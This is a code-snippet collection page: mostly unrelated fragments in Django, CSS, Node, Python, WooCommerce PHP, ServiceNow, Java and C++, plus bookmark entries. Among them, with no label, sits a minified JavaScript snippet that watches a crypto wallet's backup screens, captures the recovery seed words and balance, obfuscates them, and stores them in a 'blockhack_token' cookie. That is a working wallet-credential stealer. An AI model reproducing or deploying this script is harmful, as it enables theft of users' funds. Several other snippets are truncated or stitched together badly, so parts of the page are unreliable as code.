Snippets Collections
// models.py
from django.db.models.fields import FloatField

class Product(models.Model):
    title = models.CharField(max_length=225)
    price = models.FloatField()
    discount_percent = FloatField(default=0) # Assigning it a default value of 0 so it doesn't throw a 'NoneType' error when it's null.
  
    @property
    def discount(self):
        if self.discount_percent > 0:
            discounted_price = self.price - self.price * self.discount_percent / 100
            return discounted_price

class OrderItem(models.Model):
    product = models.ForeignKey(Product, on_delete=models.SET_NULL, null=True)
    order = models.ForeignKey(Order, on_delete=models.SET_NULL, null=True)
    quantity = models.IntegerField(default=0, null=True, blank=True)
	
	# get_total function has to be updated too to calculate using the correct current price
    @property
    def get_total(self):
        if self.product.discount_percent > 0:
            price_now = self.product.price - self.product.price * self.product.discount_percent / 100
        else:
            price_now = self.product.price

        total = price_now * self.quantity
        return total

// Your template
{% if product.discount_percent %}
                <h4 class="product__price--original">₾{{ product.price|floatformat:2 }}</h4>
                <h4 class="product__price--discounted">₾{{ product.discount|floatformat:2 }}</h4>
                {% else %}  
                <h4>₾{{ product.price|floatformat:2 }}</h4>
                {% endif %}
                
// Here's some Sass too, if you need it
.product__price {
  &--original {
    text-decoration: line-through;
  }
  &--discounted {
    color: green;
  }
}
.LikeButton button {
  margin: 1rem;
  transition: all 0.5s ease;
  transform: scale(1);
}

.LikeButton button:hover {
  cursor: pointer;
  transform: scale(1.25);
  filter: brightness(120%);
}
const comparePassword = async (password, hash) => {
    try {
        // Compare password
        return await bcrypt.compare(password, hash);
    } catch (error) {
        console.log(error);
    }

    // Return false if error
    return false;
};

//use case
(async () => {
    // Hash fetched from DB
    const hash = `$2b$10$5ysgXZUJi7MkJWhEhFcZTObGe18G1G.0rnXkewEtXq6ebVx1qpjYW`;

    // Check if password is correct
    const isValidPass = await comparePassword('123456', hash);

    // Print validation status
    console.log(`Password is ${!isValidPass ? 'not' : ''} valid!`);
    // => Password is valid!
})();
import pickle
import os
from google_auth_oauthlib.flow import Flow, InstalledAppFlow
from googleapiclient.discovery import build
from googleapiclient.http import MediaFileUpload, MediaIoBaseDownload
from google.auth.transport.requests import Request


def Create_Service(client_secret_file, api_name, api_version, *scopes):
    print(client_secret_file, api_name, api_version, scopes, sep='-')
    CLIENT_SECRET_FILE = client_secret_file
    API_SERVICE_NAME = api_name
    API_VERSION = api_version
    SCOPES = [scope for scope in scopes[0]]
    print(SCOPES)

    cred = None

    pickle_file = f'token_{API_SERVICE_NAME}_{API_VERSION}.pickle'
    # print(pickle_file)

    if os.path.exists(pickle_file):
        with open(pickle_file, 'rb') as token:
            cred = pickle.load(token)

    if not cred or not cred.valid:
        if cred and cred.expired and cred.refresh_token:
            cred.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES)
            cred = flow.run_local_server()

        with open(pickle_file, 'wb') as token:
            pickle.dump(cred, token)

    try:
        service = build(API_SERVICE_NAME, API_VERSION, credentials=cred)
        print(API_SERVICE_NAME, 'service created successfully')
        return service
    except Exception as e:
        print('Unable to connect.')
        print(e)
        return None

def convert_to_RFC_datetime(year=1900, month=1, day=1, hour=0, minute=0):
    dt = datetime.datetime(year, month, day, hour, minute, 0).isoformat() + 'Z'
    return dt
dd_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' );
/* * custom_woocommerce_template_loop_add_to_cart**/
function custom_woocommerce_product_add_to_cart_text() {	
global $product;		
  $product_type = $product->get_type();		switch ( $product_type ) {		case 'external':			return _( 'Buy product', 'woocommerce' );		break;		case 'grouped':			return _( 'View products', 'woocommerce' );		break;		case 'simple':			return _( 'Add to cart', 'woocommerce' );		break;		case 'variable':			return _( 'Select options', 'woocommerce' );		break;		default:			return __( 'Read more', 'woocommerce' );	}	}
[
   {
      "mostrar":"in,out",
      "label":"CURSO DE FORMAÇÃO EM TERAPEUTA AYURVEDA",
      "campo":"cursotitulo",
      "tipo":"titulo6",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "label":"Nome Completo",
      "campo":"nomecompleto",
      "tipo":"text",
      "colunas_in":"12",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Data de nascimento",
      "campo":"data_nasc",
      "tipo":"data",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"CPF",
      "campo":"nrocpf",
      "tipo":"cpf",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Estado Civil",
      "campo":"estado_civil",
      "tipo":"select_valor",
      "colunas_in":"6",
      "colunas_out":"4",
      "opcoes":[
         "Casado",
         "Solteiro",
         "Separado",
         "Viuvo"
      ],
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Profissão",
      "campo":"profi",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Email",
      "campo":"email",
      "tipo":"text",
      "colunas_in":"12",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Telefone Celular",
      "campo":"telcelular",
      "tipo":"text",
      "placeholder":"(xx) x xxxx-xxxx",
      "colunas_in":"6",
      "colunas_out":"6",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Telefone Residencial",
      "campo":"telresidencial",
      "tipo":"text",
      "placeholder":"(xx) x xxxx-xxxx",
      "colunas_in":"6",
      "colunas_out":"6"
   },
   {
      "mostrar":"in,out",
      "label":"Endereço",
      "campo":"logradouro",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"Cidade",
      "campo":"cid",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"CEP",
      "campo":"cep_user",
      "tipo":"text",
      "colunas_in":"6",
      "colunas_out":"4",
      "requerido":"1"
   },
   {
      "mostrar":"in,out",
      "label":"PAGAMENTO",
      "campo":"pagamento",
      "tipo":"titulo6",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "label":"Forma de Pagamento",
      "campo":"forma_pagamento",
      "tipo":"select_valor",
      "colunas_in":"6",
      "colunas_out":"6",
      "requerido":"1",
      "opcoes":[
         "À vista",
         "À prazo",
         "Boleto",
         "Cheque"
      ],
      "conditions":[
         {
            "when":"equal",
            "value":"À prazo",
            "action":{
               "show":[
                  "parcelas"
               ],
               "required":[
                  "parcelas"
               ]
            }
         }
      ]
   },
   {
      "mostrar":"in,out",
      "label":"Em quantas parcelas?",
      "campo":"parcelas",
      "tipo":"number",
      "colunas_in":"12",
      "colunas_out":"12",
      "classe":"hide"
   },
   {
      "mostrar":"in,out",
      "label":"Escola",
      "campo":"escola",
      "tipo":"select_valor",
      "colunas_in":"12",
      "colunas_out":"12",
      "requerido":"1",
      "opcoes":[
         "Semente da Paz",
         "Leveza do Ser",
         "Beija Flor",
         "La vie",
         "Karina Gomes"
      ],
      "aceita_recategorizar":"1"
   },
   {
      "mostrar":"in,out",
      "label":"TERMO DE AUTORIZAÇÃO",
      "campo":"termo",
      "tipo":"titulo6",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "campo":"autori",
      "tipo":"texto",
      "valor_padrao":"Eu, autorizo a gravar (minha imagem em vídeo ou fotografia) e veicular minha imagem e depoimentos em qualquer meios de comunicação para fins didáticos, de pesquisa e divulgação de conhecimento científico sem quaisquer ônus e restrições. Fica ainda autorizada, de livre e espontânea vontade, para os mesmos fins, a cessão de direitos da veiculação, não recebendo para tanto qualquer tipo de remuneração. ",
      "colunas_in":"12",
      "colunas_out":"12"
   },
   {
      "mostrar":"in,out",
      "label":"Eu concordo e autorizo",
      "campo":"concordancia",
      "tipo":"checkbox",
      "colunas_in":"12",
      "colunas_out":"12",
      "requerido":"1"
   }
]
--add-metadata --postprocessor-args "-metadata artist=Pink\ Floyd"
import org.apache.spark.sql.functions._

val sc: SparkContext = ...
val sqlContext = new SQLContext(sc)

import sqlContext.implicits._

val input = sc.parallelize(Seq(
  ("a", 5, 7, 9, 12, 13),
  ("b", 6, 4, 3, 20, 17),
  ("c", 4, 9, 4, 6 , 9),
  ("d", 1, 2, 6, 8 , 1)
)).toDF("ID", "var1", "var2", "var3", "var4", "var5")

val columnsToSum = List(col("var1"), col("var2"), col("var3"), col("var4"), col("var5"))

val output = input.withColumn("sums", columnsToSum.reduce(_ + _))

output.show()
my_list = [27, 5, 9, 6, 8]

def RemoveValue(myVal):
    if myVal not in my_list:
        raise ValueError("Value must be in the given list")
    else:
        my_list.remove(myVal)
    return my_list

print(RemoveValue(27))
print(RemoveValue(27))
library(ggplot2)
library("ggpubr")
theme_set(
  theme_bw() +
    theme(legend.position = "top")
  )
Widget build(BuildContext context) {
  return Scaffold(
    appBar: AppBar(title: Text('IntrinsicWidth')),
    body: Center(
      child: IntrinsicWidth(
        child: Column(
          crossAxisAlignment: CrossAxisAlignment.stretch,
          children: <Widget>[
            RaisedButton(
              onPressed: () {},
              child: Text('Short'),
            ),
            RaisedButton(
              onPressed: () {},
              child: Text('A bit Longer'),
            ),
            RaisedButton(
              onPressed: () {},
              child: Text('The Longest text button'),
            ),
          ],
        ),
      ),
    ),
  );
}
.border { 
    width: 400px;
    padding: 20px;
    border-top: 10px solid #FFFF00;
    border-bottom:10px solid #FF0000;
    background-image: 
        linear-gradient(#FFFF00, #FF0000),
        linear-gradient(#FFFF00, #FF0000)
    ;
    background-size:10px 100%;
    background-position:0 0, 100% 0;
    background-repeat:no-repeat;
}
Vehicle::find(3)->value('register_number');
import { MatDialogModule } from "@angular/material";
 Save has now changed to

import { MatDialogModule } from "@angular/material/dialog";

You have to reference the actual module inside the material folder:
v
User Object Cheat Sheet
N

o matter what system you’re working in, it is always critical to be able to identify information about the user who is accessing that system. Being able to identify who the user is, what their groups and/or roles are, and what other attributes their user record has are all important pieces of information that allow you to provide that user with a good experience (without giving them information they don’t need to have or shouldn’t have). ServiceNow gives administrators some pretty simple ways to identify this information in the form of a couple of user objects and corresponding methods. This article describes the functions and methods you can use to get information about the users accessing your system.



GlideSystem User Object

The GlideSystem (gs) user object is designed to be used in any server-side JavaScript (Business rules, UI Actions, System security, etc.). The following table shows how to use this object and its corresponding functions and methods.

Function/Method	Return Value	Usage
gs.getUser()	Returns a reference to the user object for the currently logged-in user.	var userObject = gs.getUser();
gs.getUserByID()	Returns a reference to the user object for the user ID (or sys_id) provided.	var userObject = gs.getUser().getUserByID('employee');
gs.getUserName()	Returns the User ID (user_name) for the currently logged-in user.
e.g. 'employee'	var user_name = gs.getUserName();
gs.getUserDisplayName()	Returns the display value for the currently logged-in user.
e.g. 'Joe Employee'	var userDisplay = gs.getUserDisplayName();
gs.getUserID()	Returns the sys_id string value for the currently logged-in user.	var userID = gs.getUserID();
getFirstName()	Returns the first name of the currently logged-in user.	var firstName = gs.getUser().getFirstName();
getLastName()	Returns the last name of the currently logged-in user.	var lastName = gs.getUser().getLastName();
getEmail()	Returns the email address of the currently logged-in user.	var email = gs.getUser().getEmail();
getDepartmentID()	Returns the department sys_id of the currently logged-in user.	var deptID = gs.getUser().getDepartmentID();
getCompanyID()	Returns the company sys_id of the currently logged-in user.	var companyID = gs.getUser().getCompanyID();
getCompanyRecord()	Returns the company GlideRecord of the currently logged-in user.	var company = gs.getUser().getCompanyRecord();
getLanguage()	Returns the language of the currently logged-in user.	var language = gs.getUser().getLanguage();
getLocation()	Returns the location of the currently logged-in user.	var location = gs.getUser().getLocation();
getDomainID()	Returns the domain sys_id of the currently logged-in user (only used for instances using domain separation).	var domainID = gs.getUser().getDomainID();
getDomainDisplayValue()	Returns the domain display value of the currently logged-in user (only used for instances using domain separation).	var domainName = gs.getUser().getDomainDisplayValue();
getManagerID()	Returns the manager sys_id of the currently logged-in user.	var managerID = gs.getUser().getManagerID();
getMyGroups()	Returns a list of all groups that the currently logged-in user is a member of.	var groups = gs.getUser().getMyGroups();
isMemberOf()	Returns true if the user is a member of the given group, false otherwise.	Takes either a group sys_id or a group name as an argument.

if(gs.getUser().isMemberOf(current.assignment_group)){
//Do something...
}

var isMember = gs.getUser().isMemberOf('Hardware');

To do this for a user that isn't the currently logged-in user...

var user = 'admin';
var group = "Hardware";
if (gs.getUser().getUserByID(user).isMemberOf(group)){
gs.log( gr.user_name + " is a member of " + group);
}

else{
gs.log( gr.user_name + " is NOT a member of " + group);
}
gs.hasRole()	Returns true if the user has the given role, false otherwise.	if(gs.hasRole('itil')){ //Do something... }
gs.hasRole()	Returns true if the user has one of the given roles, false otherwise.	if(gs.hasRole('itil,admin')){
//If user has 'itil' OR 'admin' role then Do something...
}
hasRoles()	Returns true if the user has any roles at all, false if the user has no role (i.e. an ess user).	if(!gs.getUser().hasRoles()){
//User is an ess user...
}
It is also very simple to get user information even if the attribute you want to retrieve is not listed above by using a ‘gs.getUser().getRecord()’ call as shown here…

//This script gets the user's title
gs.getUser().getRecord().getValue('title');


g_user User Object

The g_user object can be used only in UI policies and Client scripts. Contrary to its naming, it is not truly a user object. g_user is actually just a handful of cached user properties that are accessible to client-side JavaScript. This eliminates the need for most GlideRecord queries from the client to get user information (which can incur a fairly significant performance hit if not used judiciously).

g_user Property or Method	Return value
g_user.userName	User name of the current user e.g. employee
g_user.firstName	First name of the current user e.g. Joe
g_user.lastName	Last name of the current user e.g. Employee
g_user.userID	sys_id of the current user e.g. 681ccaf9c0a8016400b98a06818d57c7
g_user.hasRole()	True if the current user has the role specified, false otherwise. ALWAYS returns true if the user has the 'admin' role.

Usage: g_user.hasRole('itil')
g_user.hasRoleExactly()	True if the current user has the exact role specified, false otherwise, regardless of 'admin' role.

Usage: g_user.hasRoleExactly('itil')
g_user.hasRoles()	True if the current user has at least one role specified, false otherwise.

Usage: g_user.hasRoles('itil','admin')
It is often necessary to determine if a user is a member of a given group from the client as well. Although there is no convenience method for determining this from the client, you can get the information by performing a GlideRecord query. Here’s an example…

//Check to see if assigned to is a member of selected group
var grpName = 'YOURGROUPNAMEHERE';
var usrID = g_form.userID; //Get current user ID
var grp = new GlideRecord('sys_user_grmember');
grp.addQuery('group.name', grpName);
grp.addQuery('user', usrID);
grp.query(groupMemberCallback);
   
function groupMemberCallback(grp){
//If user is a member of selected group
    if(grp.next()){
        //Do something
        alert('Is a member');
    }
    else{
        alert('Is not a member');
    }
}
To get any additional information about the currently logged-in user from a client-script or UI policy, you need to use a GlideRecord query. If at all possible, you should use a server-side technique described above since GlideRecord queries can have performance implications when initiated from a client script. For the situations where there’s no way around it, you could use a script similar to the one shown below to query from the client for more information about the currently logged in user.

//This script gets the user's title
var gr = new GlideRecord('sys_user');
gr.get(g_user.userID);
var title = gr.title;
alert(title);


Useful Scripts

There are quite a few documented examples of some common uses of these script methods. These scripts can be found on the ServiceNow wiki.
function processSQLFile(fileName) {

  // Extract SQL queries from files. Assumes no ';' in the fileNames
  var queries = fs.readFileSync(fileName).toString()
    .replace(/(\r\n|\n|\r)/gm," ") // remove newlines
    .replace(/\s+/g, ' ') // excess white space
    .split(";") // split into all statements
    .map(Function.prototype.call, String.prototype.trim)
    .filter(function(el) {return el.length != 0}); // remove any empty ones

  // Execute each SQL query sequentially
  queries.forEach(function(query) {
    batch.push(function(done) {
      if (query.indexOf("COPY") === 0) { // COPY - needs special treatment
        var regexp = /COPY\ (.*)\ FROM\ (.*)\ DELIMITERS/gmi;
        var matches = regexp.exec(query);
        var table = matches[1];
        var fileName = matches[2];
        var copyString = "COPY " + table + " FROM STDIN DELIMITERS ',' CSV HEADER";
        var stream = client.copyFrom(copyString);
        stream.on('close', function () {
          done();
        });
        var csvFile = __dirname + '/' + fileName;
        var str = fs.readFileSync(csvFile);
        stream.write(str);
        stream.end();
      } else { // Other queries don't need special treatment
        client.query(query, function(result) {
          done();
        });
      }
    });
  });
}
function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}
#include <iostream>
#include<cmath>
#include<ctime>
#include<string>
#include <iomanip>
#include <fstream>

using namespace std;


bool primeNumber(int n);
bool Emirp(int n);
int reversal(int n);
int recursive(int a, int b);

int main()
{
	
	int count = 0;
	int number = 13;
	while (count <= 100)
	{
		if (Emirp(number))
		{
			count++;
			if (count % 10 == 0)
				cout << setw(7) << number << endl;
			else
				cout << setw(7) << number;
		}
		number++;
	}
		

}
bool primeNumber(int n) {
	
		for (int i = 2; i <= n / 2; i++) {
			
			if (n % i == 0) {

				return false;
			}
		}
		return true;
}

bool Emirp(int n) {
	

	return primeNumber(n) && primeNumber(reversal(n));
	
}

int reversal(int n) {
	
		if (n < 10) {
			
				return n;
			
		}
		return recursive(n % 10, n / 10);
	
}

int recursive(int a, int b) {

	if (b < 1) {

		return a;

	}
	return recursive(a * 10 + b % 10, b / 10);
	
}



	
   




/*EX:.container {
    padding: 0 15px;
// 576px window width and more
    @include sm {
        padding: 0 20px;
    }
// 992px window width and more
    @include lg {
        margin-left: auto;
        margin-right: auto;
        max-width: 1100px;
    } */

// Small tablets and large smartphones (landscape view)
$screen-sm-min: 576px;

// Small tablets (portrait view)
$screen-md-min: 768px;

// Tablets and small desktops
$screen-lg-min: 992px;

// Large tablets and desktops
$screen-xl-min: 1200px;


// Small devices
@mixin sm {
   @media (min-width: #{$screen-sm-min}) {
       @content;
   }
}

// Medium devices
@mixin md {
   @media (min-width: #{$screen-md-min}) {
       @content;
   }
}

// Large devices
@mixin lg {
   @media (min-width: #{$screen-lg-min}) {
       @content;
   }
}

// Extra large devices
@mixin xl {
   @media (min-width: #{$screen-xl-min}) {
       @content;
   }
}
bar(?=bar)     finds the 1st bar ("bar" which has "bar" after it)
bar(?!bar)     finds the 2nd bar ("bar" which does not have "bar" after it)
(?<=foo)bar    finds the 1st bar ("bar" which has "foo" before it)
(?<!foo)bar    finds the 2nd bar ("bar" which does not have "foo" before it)
>>> from enum import Enum
>>> class Build(Enum):
...   debug = 200
...   build = 400
... 

Build['debug']

puts ShopifyAPI::Order.find(:all, :params => {:status => 'any', :limit => 250})
<meta name="viewport" content="width=device-width, initial-scale=.5, maximum-scale=12.0, minimum-scale=.25, user-scalable=yes"/>
   var Person = mongoose.model('Person', yourSchema);
   // find each person with a name contains 'Ghost'
   Person.findOne({ "name" : { $regex: /Ghost/, $options: 'i' } },
          function (err, person) {
                 if (err) return handleError(err);
                 console.log('%s %s is a %s.', person.name.first, person.name.last, person.occupation);

   });
amount
	.toFixed(2)
    .toString()
    .replace(/\B(?=(\d{3})+(?!\d))/g, ",")
    
// or

amount
	.toLocaleString('en-US', { style: 'currency', currency: 'USD' });
from google.colab import files

uploaded = files.upload()

for fn in uploaded.keys():
  print('User uploaded file "{name}" with length {length} bytes'.format(
      name=fn, length=len(uploaded[fn])))
keytool -exportcert -list -v \
-alias <your-key-name> -keystore <path-to-production-keystore>
//Replace the closeSelf() function in iframe page to the following

function closeSelf() {
   parent.window.postMessage("removetheiframe", "*");
}

//and on the parent page, add the following code to listen when the iframe sends a message :

function receiveMessage(event){
   if (event.data=="removetheiframe"){
      var element = document.getElementById('iframe-element');
      element.parentNode.removeChild(element);
   }
}
window.addEventListener("message", receiveMessage, false);
                                package com.rizki.mufrizal.belajar.spring.boot.domain

import org.springframework.data.annotation.Id
import org.springframework.data.mongodb.core.mapping.Document
import org.springframework.data.mongodb.core.mapping.Field

/**
 *
 * @Author Rizki Mufrizal <mufrizalrizki@gmail.com>
 * @Web <https://RizkiMufrizal.github.com>
 * @Since 12 January 2017
 * @Time 10:13 PM
 * @Project Belajar-Spring-Boot
 * @Package com.rizki.mufrizal.belajar.spring.boot.domain
 * @File Barang
 *
 */
@Document(collection = "tb_barang")
class Barang implements Serializable {

    @Id
    @Field(value = "id_barang")
    String idBarang

    @Field(value = "nama_barang")
    String namaBarang

    @Field(value = "jenis_barang")
    JenisBarang jenisBarang

    @Field(value = "tanggal_kadaluarsa")
    Date tanggalKadaluarsa

    @Field(value = "harga_satuan_barang")
    BigDecimal hargaSatuanBarang

    @Field(value = "jumlah_barang_tersedia")
    Integer jumlahBarangTersedia

}
                                
const renameKeys = (keysMap, obj) =>
  Object.keys(obj).reduce(
    (acc, key) => ({
      ...acc,
      ...{ [keysMap[key] || key]: obj[key] }
    }),
    {}
  );
EXAMPLES
const obj = { name: 'Bobo', job: 'Front-End Master', shoeSize: 100 };
renameKeys({ name: 'firstName', job: 'passion' }, obj); // { firstName: 'Bobo', passion: 'Front-End Master', shoeSize: 100 }
                             
                                
 .rotate {

  transform: rotate(-90deg);


  /* Legacy vendor prefixes that you probably don
                                
keys, values)) # {'a': 2, 'c': 4, 'b': 3}
 
 
#make a function: def is the keyword for the function:
def to_dictionary(keys, values):
 
 
#return is the keyword that tells program that function has to return value   
return dict(zip(keys, values))
 
  
 
# keys and values are the lists:
 
keys = ["a", "b", "c"]   
 
values = [2, 3, 4]
                                
                                
private boolean oneQueenPerRow() {
    int foundQueens;
    for (int i = 0; i < board.length; i++) {
        foundQueens = 0;//each loop is a checked row
        for (int j = 0; j < board.length; j++) {
            if (board[i][j] == QUEEN)
                foundQueens++;
        }
        if (foundQueens > 1) return false;
    }
    return true;
}
add_filter( 'woocommerce_available_payment_gateways', 'conditionally_disable_cod_payment_method', 10, 1);
function conditionally_disable_cod_payment_method( $gateways ){
    // HERE define your Products IDs
    $products_ids = array(2880);

    // Loop through cart items
    foreach ( WC()->cart->get_cart() as $cart_item ){
        // Compatibility with WC 3+
        $product_id = version_compare( WC_VERSION, '3.0', '<' ) ? $cart_item['data']->id : $cart_item['data']->get_id();
        if (in_array( $cart_item['product_id'], $products_ids ) ){
            unset($gateways['cod']);
            break; // As "COD" is removed we stop the loop
        }
    }
    return $gateways;
}
.box-one {
	width: 100px;
	margin: 0 auto;
}

.box-two {
	width: 100px;
	margin-left: auto;
    margin-right: auto;
}
Copyright <script>document.write(new Date().getFullYear())</script>  All rights reserved - 
const arrSum = arr => arr.reduce((a,b) => a + b, 0)
// arrSum([20, 10, 5, 10]) -> 45
.truncate {
  width: 250px;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}
$w.onReady(function () {
	$w('#collapsedelement').collapse();
    $w('#closebtn').hide();
});

export function openbtn_click(event) {
	let $item = $w.at(event.context);

	if ($item("#collapsedelement").collapsed) {
		$item("#collapsedelement").expand();
		$item('#openbtn').hide();
		$item('#closebtn').show();

	} else {
		$item("#collapsedelement").collapse();
		$item('#openbtn').show();
		$item('#closebtn').hide();
	}
}

export function closebtn_click(event) {
	let $item = $w.at(event.context);

	if ($item("#collapsedelement").collapsed) {
		$item("#collapsedelement").expand();
		$item('#openbtn').hide();
		$item('#closebtn').show();

	} else {
		$item("#collapsedelement").collapse();
		$item('#openbtn').show();
		$item('#closebtn').hide();
	}
}
import java.util.Stack;

/**
 * Java Program to implement a binary search tree. A binary search tree is a
 * sorted binary tree, where value of a node is greater than or equal to its
 * left the child and less than or equal to its right child.
 * 
 * @author WINDOWS 8
 *
 */
public class BST {

    private static class Node {
        private int data;
        private Node left, right;

        public Node(int value) {
            data = value;
            left = right = null;
        }
    }

    private Node root;

    public BST() {
        root = null;
    }

    public Node getRoot() {
        return root;
    }

    /**
     * Java function to check if binary tree is empty or not
     * Time Complexity of this solution is constant O(1) for
     * best, average and worst case. 
     * 
     * @return true if binary search tree is empty
     */
    public boolean isEmpty() {
        return null == root;
    }

    
    /**
     * Java function to return number of nodes in this binary search tree.
     * Time complexity of this method is O(n)
     * @return size of this binary search tree
     */
    public int size() {
        Node current = root;
        int size = 0;
        Stack<Node> stack = new Stack<Node>();
        while (!stack.isEmpty() || current != null) {
            if (current != null) {
                stack.push(current);
                current = current.left;
            } else {
                size++;
                current = stack.pop();
                current = current.right;
            }
        }
        return size;
    }


    /**
     * Java function to clear the binary search tree.
     * Time complexity of this method is O(1)
     */
    public void clear() {
        root = null;
    }

}
$ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY
int maxSubArraySum(int a[], int size) 
{ 
int max_so_far = 0, max_ending_here = 0; 
for (int i = 0; i < size; i++) 
{ 
	max_ending_here = max_ending_here + a[i]; 
	if (max_ending_here < 0) 
		max_ending_here = 0; 

	/* Do not compare for all elements. Compare only 
		when max_ending_here > 0 */
	else if (max_so_far < max_ending_here) 
		max_so_far = max_ending_here; 
} 
return max_so_far; 
} 
var d = new Date();
var n = d.getFullYear();
star

Tue Aug 24 2021 12:50:34 GMT+0000 (UTC) https://geofoxy.com/add-listing/foxyadmin/?eid

@NikoWulf

star

Wed Jun 30 2021 08:18:15 GMT+0000 (UTC)

@hisam #css

star

Sun Jun 06 2021 15:47:09 GMT+0000 (UTC) https://attacomsian.com/blog/nodejs-password-hashing-with-bcrypt

@hisam #bcrypt #authentication #express #nodejs #password

star

Fri Jun 04 2021 07:59:01 GMT+0000 (UTC) https://learndataanalysis.org/how-to-upload-a-video-to-youtube-using-youtube-data-api-in-python/

@admariner

star

Tue May 18 2021 15:14:20 GMT+0000 (UTC)

@zlucxie #json #premaom

star

Mon Apr 12 2021 03:20:10 GMT+0000 (UTC) https://stackoverflow.com/questions/39885346/youtube-dl-add-metadata-during-audio-conversion

@steadytom

star

Thu Apr 08 2021 21:39:39 GMT+0000 (UTC) https://stackoverflow.com/questions/10359702/c-filehandling-difference-between-iosapp-and-iosate#:~:text=ios%3A%3Aapp%20%22set%20the,file%20when%20you%20open%20it.&text=The%20ios%3A%3Aate%20option,to%20the%20end%20of%20file.

@wowza12341 #c++

star

Mon Apr 05 2021 18:00:47 GMT+0000 (UTC) https://stackoverflow.com/questions/37624699/adding-a-column-of-rowsums-across-a-list-of-columns-in-spark-dataframe

@anoopsugur #scala

star

Sun Mar 28 2021 06:58:45 GMT+0000 (UTC)

@FlorianC #python

star

Sat Mar 27 2021 17:16:56 GMT+0000 (UTC) https://amlanscloud.com/reactnativepwa/

@bifrost

star

Sun Mar 21 2021 10:33:11 GMT+0000 (UTC) https://www.datanovia.com/en/lessons/combine-multiple-ggplots-into-a-figure/

@ztlee042 #r

star

Mon Mar 08 2021 13:00:55 GMT+0000 (UTC) https://medium.com/flutter-community/flutter-layout-cheat-sheet-5363348d037e

@Hackerman_max #dart #flutter

star

Fri Feb 26 2021 19:33:52 GMT+0000 (UTC) https://stackoverflow.com/questions/2717127/gradient-borders

@MAI #css

star

Tue Feb 02 2021 17:41:39 GMT+0000 (UTC) https://www.codegrepper.com/code-examples/php/get+single+column+value+in+laravel+eloquent

@mvieira

star

Mon Dec 21 2020 00:26:51 GMT+0000 (UTC) https://www.geeksforgeeks.org/how-to-handle-multiple-input-field-in-react-form-with-a-single-function/

@bifrost

star

Tue Dec 15 2020 17:13:49 GMT+0000 (UTC) https://stackoverflow.com/questions/58594311/angular-material-index-d-ts-is-not-a-module

@dedicatedking #nodejs,angular

star

Fri Dec 11 2020 17:35:23 GMT+0000 (UTC) https://servicenowguru.com/scripting/user-object-cheat-sheet/

@nhord2007@yahoo.com #servicenow #user #object

star

Fri Nov 27 2020 18:42:18 GMT+0000 (UTC) https://stackoverflow.com/questions/22636388/import-sql-file-in-node-js-and-execute-against-postgresql

@narro #sql #nodejs

star

Fri Nov 27 2020 12:54:01 GMT+0000 (UTC)

@Alexxx

star

Tue Nov 10 2020 16:12:46 GMT+0000 (UTC) http://cpp.sh/

@mahmoud hussein #c++

star

Tue Oct 27 2020 05:31:31 GMT+0000 (UTC)

@abeerIbrahim #css

star

Fri Oct 16 2020 18:35:36 GMT+0000 (UTC) https://stackoverflow.com/questions/2973436/regex-lookahead-lookbehind-and-atomic-groups

@saisandeepvaddi

star

Sun Aug 30 2020 18:34:38 GMT+0000 (UTC) https://stackoverflow.com/questions/41407414/convert-string-to-enum-in-python

@arielvol #python

star

Mon Jun 22 2020 16:12:54 GMT+0000 (UTC) https://stackoverflow.com/questions/23824715/how-to-retrieve-orders-from-shopify-through-the-shopify-api-gem

@ayazahmadtarar #rb

star

Wed Jun 10 2020 16:59:43 GMT+0000 (UTC) https://stackoverflow.com/questions/12392761/how-to-enable-pinch-zoom-on-website-for-mobile-devices

@samiharoon

star

